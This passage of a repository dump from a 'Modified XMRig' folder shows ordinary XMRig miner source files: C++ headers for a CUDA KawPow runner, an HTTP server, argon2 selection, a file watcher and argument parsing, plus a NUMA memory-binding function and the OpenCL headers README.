XMRIG_ICONFIGLISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/common/VirtualMemory_hwloc.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018 Lee Clagett 3 | * Copyright (c) 2018-2019 tevador 4 | * Copyright (c) 2018-2023 SChernykh 5 | * Copyright (c) 2016-2023 XMRig , 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with this program. If not, see . 19 | */ 20 | 21 | #include "crypto/common/VirtualMemory.h" 22 | #include "backend/cpu/Cpu.h" 23 | #include "base/io/log/Log.h" 24 | 25 | 26 | #include 27 | 28 | 29 | uint32_t xmrig::VirtualMemory::bindToNUMANode(int64_t affinity) 30 | { 31 | if (affinity < 0 || Cpu::info()->nodes() < 2) { 32 | return 0; 33 | } 34 | 35 | auto pu = hwloc_get_pu_obj_by_os_index(Cpu::info()->topology(), static_cast(affinity)); 36 | 37 | if (pu == nullptr || !Cpu::info()->membind(pu->nodeset)) { 38 | LOG_WARN("CPU #%02" PRId64 " warning: \"can't bind memory\"", affinity); 39 | 40 | return 0; 41 | } 42 | 43 | return hwloc_bitmap_first(pu->nodeset); 44 | } 45 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/cuda/runners/CudaKawPowRunner.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_CUDAKAWPOWRUNNER_H 20 | #define XMRIG_CUDAKAWPOWRUNNER_H 21 | 22 | 23 | #include "backend/cuda/runners/CudaBaseRunner.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class CudaKawPowRunner : public CudaBaseRunner 30 | { 31 | public: 32 | CudaKawPowRunner(size_t index, const CudaLaunchData &data); 33 | 34 | protected: 35 | bool run(uint32_t startNonce, uint32_t *rescount, uint32_t *resnonce) override; 36 | bool set(const Job &job, uint8_t *blob) override; 37 | size_t processedHashes() const override { return intensity() - m_skippedHashes; } 38 | void jobEarlyNotification(const Job&) override; 39 | 40 | private: 41 | uint8_t* m_jobBlob = nullptr; 42 | uint32_t m_skippedHashes = 0; 43 | }; 44 | 45 | 46 | } /* namespace xmrig */ 47 | 48 | 49 | #endif // XMRIG_CUDAKAWPOWRUNNER_H 50 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/http/HttpServer.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2014-2019 heapwolf 3 | * Copyright (c) 2018-2021 SChernykh 4 | * Copyright (c) 2016-2021 XMRig , 5 | * 6 | * This program is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * This program is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with this program. If not, see . 18 | */ 19 | 20 | #ifndef XMRIG_HTTPSERVER_H 21 | #define XMRIG_HTTPSERVER_H 22 | 23 | 24 | #include "base/kernel/interfaces/ITcpServerListener.h" 25 | #include "base/tools/Object.h" 26 | 27 | 28 | #include 29 | 30 | 31 | namespace xmrig { 32 | 33 | 34 | class IHttpListener; 35 | 36 | 37 | class HttpServer : public ITcpServerListener 38 | { 39 | public: 40 | XMRIG_DISABLE_COPY_MOVE_DEFAULT(HttpServer) 41 | 42 | HttpServer(const std::shared_ptr &listener); 43 | ~HttpServer() override; 44 | 45 | protected: 46 | void onConnection(uv_stream_t *stream, uint16_t port) override; 47 | 48 | private: 49 | std::weak_ptr m_listener; 50 | }; 51 | 52 | 53 | } // namespace xmrig 54 | 55 | 56 | #endif // XMRIG_HTTPSERVER_H 57 | 58 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/argon2/Impl.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2020 SChernykh 9 | * Copyright 2016-2020 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_ARGON2_IMPL_H 26 | #define XMRIG_ARGON2_IMPL_H 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class String; 33 | 34 | 35 | namespace argon2 { 36 | 37 | 38 | class Impl 39 | { 40 | public: 41 | static bool select(const String &nameHint, bool benchmark = false); 42 | static const String &name(); 43 | }; 44 | 45 | 46 | }} // namespace xmrig::argon2 47 | 48 | 49 | #endif /* XMRIG_ARGON2_IMPL_H */ 50 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IWatcherListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_IWATCHERLISTENER_H 26 | #define XMRIG_IWATCHERLISTENER_H 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class String; 33 | 34 | 35 | class IWatcherListener 36 | { 37 | public: 38 | virtual ~IWatcherListener() = default; 39 | 40 | virtual void onFileChanged(const String &fileName) = 0; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // XMRIG_IWATCHERLISTENER_H 48 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/CL/README.md: -------------------------------------------------------------------------------- 1 | # OpenCLTM API Headers 2 | 3 | This repository contains C language headers for the OpenCL API. 4 | 5 | The authoritative public repository for these headers is located at: 6 | 7 | https://github.com/KhronosGroup/OpenCL-Headers 8 | 9 | Issues, proposed fixes for issues, and other suggested changes should be 10 | created using Github. 11 | 12 | ## Branch Structure 13 | 14 | The OpenCL API headers in this repository are Unified headers and are designed 15 | to work with all released OpenCL versions. This differs from previous OpenCL 16 | API headers, where version-specific API headers either existed in separate 17 | branches, or in separate folders in a branch. 18 | 19 | ## Compiling for a Specific OpenCL Version 20 | 21 | By default, the OpenCL API headers in this repository are for the latest 22 | OpenCL version (currently OpenCL 2.2). To use these API headers to target 23 | a different OpenCL version, an application may `#define` the preprocessor 24 | value `CL_TARGET_OPENCL_VERSION` before including the OpenCL API headers. 25 | The `CL_TARGET_OPENCL_VERSION` is a three digit decimal value representing 26 | the OpenCL API version. 27 | 28 | For example, to enforce usage of no more than the OpenCL 1.2 APIs, you may 29 | include the OpenCL API headers as follows: 30 | 31 | ``` 32 | #define CL_TARGET_OPENCL_VERSION 120 33 | #include 34 | ``` 35 | 36 | ## Directory Structure 37 | 38 | ``` 39 | README.md This file 40 | LICENSE Source license for the OpenCL API headers 41 | CL/ Unified OpenCL API headers tree 42 | ``` 43 | 44 | ## License 45 | 46 | See [LICENSE](LICENSE). 47 | 48 | --- 49 | 50 | OpenCL and the OpenCL logo are trademarks of Apple Inc. used by permission by Khronos. 51 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/Arguments.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_ARGUMENTS_H 20 | #define XMRIG_ARGUMENTS_H 21 | 22 | 23 | #include 24 | 25 | 26 | #include "base/tools/String.h" 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class Arguments 33 | { 34 | public: 35 | Arguments(int argc, char **argv); 36 | 37 | bool hasArg(const char *name) const; 38 | const char *value(const char *key1, const char *key2 = nullptr) const; 39 | 40 | inline char **argv() const { return m_argv; } 41 | inline const std::vector &data() const { return m_data; } 42 | inline int argc() const { return m_argc; } 43 | 44 | private: 45 | void add(const char *arg); 46 | 47 | char **m_argv; 48 | int m_argc; 49 | std::vector m_data; 50 | }; 51 | 52 | 53 | } /* namespace xmrig */ 54 | 55 | 56 | #endif /* XMRIG_ARGUMENTS_H */ 57 | --------------------------------------------------------------------------------